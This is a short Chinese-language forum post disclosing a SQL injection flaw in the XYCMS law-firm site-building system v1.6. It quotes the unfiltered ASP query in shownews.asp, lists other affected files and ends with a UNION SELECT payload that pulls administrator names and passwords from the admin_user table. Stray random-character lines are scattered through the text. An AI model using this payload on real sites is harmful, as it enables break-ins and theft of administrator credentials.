XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
3 R& d0 h- O2 C& I
淫荡分割线
--------------------------------------------------------
6 h) F) u& g- J3 F$ M
- T& r  ~' W7 X3 d$ H审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
  O# r5 X5 h9 B- Z: H- X3 s
7 B6 l+ B$ S* F- S% |, X  b漏洞文件:shownews.asp
$ y0 X' u% e  a/ \, O漏洞代码：7-13行
3 z" H: R( A" ?) H

<%
id=request.QueryString("id")
1 F: b6 J7 n5 }3 }   
set snews=server.createobject("adodb.recordset")
, m/ w# B6 P  r: V, e. n# `) xexec="select * from [news] where id="&id
snews.open exec,conn,1,1
1 ^6 ^! T+ W- I+ v0 L. u%>

! k+ d/ O" F, [+ Z; G
什么过滤都没有  直造成注入
7 ]+ `4 M9 _# Q
- w# T* p% q4 [( X注入点:http://127.0.0.1:99/shownews.asp?id=xx
2 T  T  h7 L" e/ j" l5 W
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
" W( t+ G  }: W# O8 |& @- s
7 j: s8 M4 u9 B9 M5 ?
2 V$ ~# D8 z- k( Oexp: union select 1,admin,password,4,5,7 from admin_user
​